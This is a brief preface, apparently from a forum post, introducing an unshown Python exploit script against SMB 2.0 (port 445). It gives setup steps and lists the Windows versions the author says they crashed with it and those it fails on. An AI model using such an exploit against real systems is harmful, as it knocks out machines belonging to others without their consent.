Install ActivePython on a Windows system.
If you are using Ubuntu Linux, Python is already installed.
Copy the text below into a text file and save it with a .py file extension.
It works on machines with SMB 2.0 running -- port 445 open.
I have used it to nuke Vista Business, Win 7 Ultimate RC (build 7100), and Win Server 2008 SP1.
It does NOT work on Win 7 Professional RTM.
Reports say it does work not on Server 2008 R2.
